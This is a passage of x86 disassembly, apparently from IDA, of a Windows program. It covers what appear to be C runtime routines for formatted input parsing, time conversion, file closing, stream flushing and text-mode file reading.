loc_4192DE:				; CODE XREF: sub_418BBD+719j
		cmp	ebx, 2Bh
		jnz	short loc_419305


loc_4192E3:				; CODE XREF: sub_418BBD+71Fj
		dec	[ebp+var_C]
		jnz	short loc_4192F4
		cmp	[ebp+var_20], 0
		jz	short loc_4192F4
		mov	[ebp+var_F], 1
		jmp	short loc_419305
; ---------------------------------------------------------------------------


loc_4192F4:				; CODE XREF: sub_418BBD+729j
					; sub_418BBD+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419619
		pop	ecx
		mov	ebx, eax


loc_419302:				; CODE XREF: sub_418BBD+543j
		mov	[ebp+var_14], ebx


loc_419305:				; CODE XREF: sub_418BBD+4FDj
					; sub_418BBD+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41941E
		cmp	[ebp+var_F], 0
		jnz	loc_4193FC


loc_419319:				; CODE XREF: sub_418BBD+82Cj
		cmp	esi, 78h
		jnz	short loc_41936D
		cmp	dword_4379BC, 1
		jle	short loc_419336
		push	80h
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_419343
; ---------------------------------------------------------------------------


loc_419336:				; CODE XREF: sub_418BBD+768j
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_419343:				; CODE XREF: sub_418BBD+777j
		test	eax, eax
		jz	loc_4193EE
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41BF10
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4195E2
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4193C0
; ---------------------------------------------------------------------------


loc_41936D:				; CODE XREF: sub_418BBD+75Fj
		cmp	dword_4379BC, 1
		jle	short loc_419382
		push	4
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_41938D
; ---------------------------------------------------------------------------


loc_419382:				; CODE XREF: sub_418BBD+7B7j
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41938D:				; CODE XREF: sub_418BBD+7C3j
		test	eax, eax
		jz	short loc_4193EE
		cmp	esi, 6Fh
		jnz	short loc_4193AB
		cmp	ebx, 38h
		jge	short loc_4193EE
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41BF10
		jmp	short loc_4193BA
; ---------------------------------------------------------------------------


loc_4193AB:				; CODE XREF: sub_418BBD+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_413CC0


loc_4193BA:				; CODE XREF: sub_418BBD+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_4193C0:				; CODE XREF: sub_418BBD+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4193D8
		dec	[ebp+var_C]
		jz	short loc_4193FC


loc_4193D8:				; CODE XREF: sub_418BBD+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_419319
; ---------------------------------------------------------------------------


loc_4193EE:				; CODE XREF: sub_418BBD+788j
					; sub_418BBD+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_419633
		pop	ecx
		pop	ecx


loc_4193FC:				; CODE XREF: sub_418BBD+756j
					; sub_418BBD+819j
		cmp	[ebp+var_17], 0
		jz	loc_4194E2
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4194E2
; ---------------------------------------------------------------------------


loc_41941E:				; CODE XREF: sub_418BBD+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4194DA


loc_419428:				; CODE XREF: sub_418BBD+90Aj
		cmp	esi, 78h
		jz	short loc_41946C
		cmp	esi, 70h
		jz	short loc_41946C
		cmp	dword_4379BC, 1
		jle	short loc_419447
		push	4
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_419452
; ---------------------------------------------------------------------------


loc_419447:				; CODE XREF: sub_418BBD+87Cj
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_419452:				; CODE XREF: sub_418BBD+888j
		test	eax, eax
		jz	short loc_4194CC
		cmp	esi, 6Fh
		jnz	short loc_419465
		cmp	ebx, 38h
		jge	short loc_4194CC
		shl	edi, 3
		jmp	short loc_4194A4
; ---------------------------------------------------------------------------


loc_419465:				; CODE XREF: sub_418BBD+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_4194A4
; ---------------------------------------------------------------------------


loc_41946C:				; CODE XREF: sub_418BBD+86Ej
					; sub_418BBD+873j
		cmp	dword_4379BC, 1
		jle	short loc_419484
		push	80h
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_419491
; ---------------------------------------------------------------------------


loc_419484:				; CODE XREF: sub_418BBD+8B6j
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_419491:				; CODE XREF: sub_418BBD+8C5j
		test	eax, eax
		jz	short loc_4194CC
		push	ebx
		shl	edi, 4
		call	sub_4195E2
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4194A4:				; CODE XREF: sub_418BBD+8A6j
					; sub_418BBD+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4194B6
		dec	[ebp+var_C]
		jz	short loc_4194DA


loc_4194B6:				; CODE XREF: sub_418BBD+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_419428
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_418BBD+897j
					; sub_418BBD+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_419633
		pop	ecx
		pop	ecx


loc_4194DA:				; CODE XREF: sub_418BBD+865j
					; sub_418BBD+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4194E2
		neg	edi


loc_4194E2:				; CODE XREF: sub_418BBD+843j
					; sub_418BBD+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4194EB
		and	[ebp+var_1C], 0


loc_4194EB:				; CODE XREF: sub_418BBD+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4195C3
		cmp	[ebp+var_E], 0
		jnz	short loc_419524
		inc	[ebp+var_34]


loc_4194FE:				; CODE XREF: sub_418BBD+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_419514
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_419524
; ---------------------------------------------------------------------------


loc_419514:				; CODE XREF: sub_418BBD+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_419521
		mov	[eax], edi
		jmp	short loc_419524
; ---------------------------------------------------------------------------


loc_419521:				; CODE XREF: sub_418BBD+95Ej
		mov	[eax], di


loc_419524:				; CODE XREF: sub_418BBD+241j
					; sub_418BBD+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_419571
; ---------------------------------------------------------------------------


loc_41952F:				; CODE XREF: sub_418BBD+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41959E
		mov	ecx, off_4377B0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_419571
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_4195AC
		dec	[ebp+var_4]


loc_419571:				; CODE XREF: sub_418BBD+970j
					; sub_418BBD+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_419587
		cmp	byte ptr [esi],	25h
		jnz	short loc_4195C9
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4195C9
		mov	esi, eax


loc_419587:				; CODE XREF: sub_418BBD+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_418BE7
		jmp	short loc_4195C3
; ---------------------------------------------------------------------------


loc_419593:				; CODE XREF: sub_418BBD+1F4j
					; sub_418BBD+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_4195A3
; ---------------------------------------------------------------------------


loc_41959E:				; CODE XREF: sub_418BBD+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_4195A3:				; CODE XREF: sub_418BBD+9DFj
		call	sub_419633
		pop	ecx
		pop	ecx
		jmp	short loc_4195C3
; ---------------------------------------------------------------------------


loc_4195AC:				; CODE XREF: sub_418BBD+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_419633
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_419633
		add	esp, 10h


loc_4195C3:				; CODE XREF: sub_418BBD+1Fj
					; sub_418BBD+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4195DA


loc_4195C9:				; CODE XREF: sub_418BBD+9BDj
					; sub_418BBD+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4195DD
		cmp	[ebp+var_15], al
		jnz	short loc_4195DD
		or	eax, 0FFFFFFFFh
		jmp	short loc_4195DD
; ---------------------------------------------------------------------------


loc_4195DA:				; CODE XREF: sub_418BBD+A0Aj
		mov	eax, [ebp+var_34]


loc_4195DD:				; CODE XREF: sub_418BBD+A11j
					; sub_418BBD+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418BBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4195E2	proc near		; CODE XREF: sub_418BBD+7A3p
					; sub_418BBD+8DCp

arg_0		= dword	ptr  4

		cmp	dword_4379BC, 1
		push	esi
		jle	short loc_4195FC
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_41960B
; ---------------------------------------------------------------------------


loc_4195FC:				; CODE XREF: sub_4195E2+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_4377B0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41960B:				; CODE XREF: sub_4195E2+18j
		test	eax, eax
		jnz	short loc_419615
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_419615:				; CODE XREF: sub_4195E2+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4195E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_419619	proc near		; CODE XREF: sub_418BBD+1E1p
					; sub_418BBD+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41962B
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41962B:				; CODE XREF: sub_419619+7j
		push	edx
		call	sub_41991B
		pop	ecx
		retn
sub_419619	endp


; =============== S U B	R O U T	I N E =======================================



sub_419633	proc near		; CODE XREF: sub_418BBD+6Bp
					; sub_418BBD+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_419649
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41BF2F
		pop	ecx
		pop	ecx

locret_419649:				; CODE XREF: sub_419633+5j
		retn
sub_419633	endp


; =============== S U B	R O U T	I N E =======================================



sub_41964A	proc near		; CODE XREF: sub_418BBD+63p
					; sub_418BBD+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_419650:				; CODE XREF: sub_41964A+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_419619
		mov	edi, eax
		push	edi
		call	sub_41BEDE
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_419650
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41964A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41966E	proc near		; CODE XREF: sub_414D55+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41972A
		cmp	ebx, 8Ah
		jg	loc_41972A
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_438244[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4196AD
		cmp	edi, 2
		jle	short loc_4196AD
		inc	esi


loc_4196AD:				; CODE XREF: sub_41966E+37j
					; sub_41966E+3Cj
		call	sub_41BF9D
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_438160
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_419720
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_419726
		cmp	dword_438164, 0
		jz	short loc_419726
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41C210
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_419726


loc_419720:				; CODE XREF: sub_41966E+90j
		add	ecx, dword_438168


loc_419726:				; CODE XREF: sub_41966E+96j
					; sub_41966E+9Fj ...
		mov	eax, ecx
		jmp	short loc_41972D
; ---------------------------------------------------------------------------


loc_41972A:				; CODE XREF: sub_41966E+13j
					; sub_41966E+1Fj
		or	eax, 0FFFFFFFFh


loc_41972D:				; CODE XREF: sub_41966E+BAj
		pop	ebx
		leave
		retn
sub_41966E	endp


; =============== S U B	R O U T	I N E =======================================



sub_419730	proc near		; CODE XREF: sub_414E31+2Ap
					; sub_41C716+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_743640
		jnb	loc_4197CA
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:743540h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_4197CA
		push	edi
		call	sub_41C682
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4197A9
		cmp	edi, 1
		jz	short loc_419777
		cmp	edi, 2
		jnz	short loc_41978D


loc_419777:				; CODE XREF: sub_419730+40j
		push	2
		call	sub_41C682
		push	1
		mov	ebp, eax
		call	sub_41C682
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_4197A9


loc_41978D:				; CODE XREF: sub_419730+45j
		push	edi
		call	sub_41C682
		pop	ecx
		push	eax
		call	dword_41F058	; CloseHandle
		test	eax, eax
		jnz	short loc_4197A9
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_4197AB
; ---------------------------------------------------------------------------


loc_4197A9:				; CODE XREF: sub_419730+3Bj
					; sub_419730+5Bj ...
		xor	ebp, ebp


loc_4197AB:				; CODE XREF: sub_419730+77j
		push	edi
		call	sub_41C608
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_4197C6
		push	ebp
		call	sub_41A82A
		pop	ecx
		jmp	short loc_4197DB
; ---------------------------------------------------------------------------


loc_4197C6:				; CODE XREF: sub_419730+8Bj
		xor	eax, eax
		jmp	short loc_4197DE
; ---------------------------------------------------------------------------


loc_4197CA:				; CODE XREF: sub_419730+Ej
					; sub_419730+2Fj
		and	dword_742230, 0
		mov	dword_74222C, 9


loc_4197DB:				; CODE XREF: sub_419730+94j
		or	eax, 0FFFFFFFFh


loc_4197DE:				; CODE XREF: sub_419730+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_419730	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197E3	proc near		; CODE XREF: sub_414E31+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41980C
		test	al, 8
		jz	short loc_41980C
		push	dword ptr [esi+8]
		call	sub_413F7F
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41980C:				; CODE XREF: sub_4197E3+Aj
					; sub_4197E3+Ej
		pop	esi
		retn
sub_4197E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41980E	proc near		; CODE XREF: sub_4198AE+2Dp
					; sub_4198AE+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_419820
		push	esi
		call	sub_4198AE
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419820:				; CODE XREF: sub_41980E+7j
		push	esi
		call	sub_419849
		test	eax, eax
		pop	ecx
		jz	short loc_419830
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419830:				; CODE XREF: sub_41980E+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_419845
		push	dword ptr [esi+10h]
		call	sub_41C6BF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_419845:				; CODE XREF: sub_41980E+26j
		xor	eax, eax
		pop	esi
		retn
sub_41980E	endp


; =============== S U B	R O U T	I N E =======================================



sub_419849	proc near		; CODE XREF: sub_414E31+1Ap
					; sub_41523E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_419896
		test	ax, 108h
		jz	short loc_419896
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_419896
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41A67D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41988F
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_419896
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_419896
; ---------------------------------------------------------------------------


loc_41988F:				; CODE XREF: sub_419849+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_419896:				; CODE XREF: sub_419849+14j
					; sub_419849+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_419849	endp


; =============== S U B	R O U T	I N E =======================================



sub_4198A5	proc near		; CODE XREF: sub_41B497p
		push	1
		call	sub_4198AE
		pop	ecx
		retn
sub_4198A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4198AE	proc near		; CODE XREF: sub_41980E+Ap
					; sub_4198A5+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_743520, esi
		jle	short loc_41990C


loc_4198BF:				; CODE XREF: sub_4198AE+5Cj
		mov	eax, dword_74251C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_419903
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_419903
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_4198E9
		push	eax
		call	sub_41980E
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_419903
		inc	ebx
		jmp	short loc_419903
; ---------------------------------------------------------------------------


loc_4198E9:				; CODE XREF: sub_4198AE+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_419903
		test	cl, 2
		jz	short loc_419903
		push	eax
		call	sub_41980E
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_419903
		or	edi, eax


loc_419903:				; CODE XREF: sub_4198AE+1Bj
					; sub_4198AE+23j ...
		inc	esi
		cmp	esi, dword_743520
		jl	short loc_4198BF


loc_41990C:				; CODE XREF: sub_4198AE+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_419917
		mov	eax, edi


loc_419917:				; CODE XREF: sub_4198AE+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4198AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41991B	proc near		; CODE XREF: sub_414E87+A9p
					; sub_415D5E+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_4199EF
		test	al, 40h
		jnz	loc_4199EF
		test	al, 2
		jz	short loc_419941
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_4199EF
; ---------------------------------------------------------------------------


loc_419941:				; CODE XREF: sub_41991B+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_419955
		push	esi
		call	sub_41B388
		pop	ecx
		jmp	short loc_41995A
; ---------------------------------------------------------------------------


loc_419955:				; CODE XREF: sub_41991B+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41995A:				; CODE XREF: sub_41991B+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_4199F4
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_4199DE
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4199DE
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_4199B3
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41999C
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_743540[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_4199A1
; ---------------------------------------------------------------------------


loc_41999C:				; CODE XREF: sub_41991B+6Bj
		mov	edi, offset dword_437E10


loc_4199A1:				; CODE XREF: sub_41991B+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_4199B3
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_4199B3:				; CODE XREF: sub_41991B+62j
					; sub_41991B+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_4199D0
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_4199D0
		test	ch, 4
		jnz	short loc_4199D0
		mov	dword ptr [esi+18h], 1000h


loc_4199D0:				; CODE XREF: sub_41991B+9Fj
					; sub_41991B+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4199DE:				; CODE XREF: sub_41991B+55j
					; sub_41991B+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_4199EF:				; CODE XREF: sub_41991B+Aj
					; sub_41991B+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41991B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199F4	proc near		; CODE XREF: sub_414E87+90p
					; sub_41991B+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_743640
		jnb	loc_419BD1
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:743540h[eax*4]
		mov	eax, dword_743540[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_419BD1
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_419AA9
		test	dl, 2
		jnz	short loc_419AA9
		test	dl, 48h
		jz	short loc_419A69
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_419A69
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_419A69:				; CODE XREF: sub_4199F4+56j
					; sub_4199F4+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_41F090	; ReadFile
		test	eax, eax
		jnz	short loc_419ABC
		call	dword_41F06C	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_419AA4
		mov	dword_74222C, 9
		mov	dword_742230, ecx
		jmp	loc_419BE2
; ---------------------------------------------------------------------------


loc_419AA4:				; CODE XREF: sub_4199F4+99j
		cmp	eax, 6Dh
		jnz	short loc_419AB0


loc_419AA9:				; CODE XREF: sub_4199F4+4Cj
					; sub_4199F4+51j
		xor	eax, eax
		jmp	loc_419BE5
; ---------------------------------------------------------------------------


loc_419AB0:				; CODE XREF: sub_4199F4+B3j
		push	eax
		call	sub_41A82A
		pop	ecx
		jmp	loc_419BE2
; ---------------------------------------------------------------------------


loc_419ABC:				; CODE XREF: sub_4199F4+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_419BCC
		test	edx, edx
		jz	short loc_419AE1
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_419AE1
		or	al, 4
		jmp	short loc_419AE3
; ---------------------------------------------------------------------------


loc_419AE1:				; CODE XREF: sub_4199F4+E2j
					; sub_4199F4+E7j
		and	al, 0FBh


loc_419AE3:				; CODE XREF: sub_4199F4+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_419BC6


loc_419AFB:				; CODE XREF: sub_4199F4+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_419BB6
		cmp	al, 0Dh
		jz	short loc_419B17
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_419BA8
; ---------------------------------------------------------------------------


loc_419B17:				; CODE XREF: sub_4199F4+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_419B35
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_419B2C
		add	[ebp+arg_8], 2
		jmp	short loc_419B8A
; ---------------------------------------------------------------------------


loc_419B2C:				; CODE XREF: sub_4199F4+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_419BA8
; ---------------------------------------------------------------------------


loc_419B35:				; CODE XREF: sub_4199F4+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_41F090	; ReadFile
		test	eax, eax
		jnz	short loc_419B5D
		call	dword_41F06C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_419BA4


loc_419B5D:				; CODE XREF: sub_4199F4+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_419BA4
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_419B7F
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_419B8A
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
